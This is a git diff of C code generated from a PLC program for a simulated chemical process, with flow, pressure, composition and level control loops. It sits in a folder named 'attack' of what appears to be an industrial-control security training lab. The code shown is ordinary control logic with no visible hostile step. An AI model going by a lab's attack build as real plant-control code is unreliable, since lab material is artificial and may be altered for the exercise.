__SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + 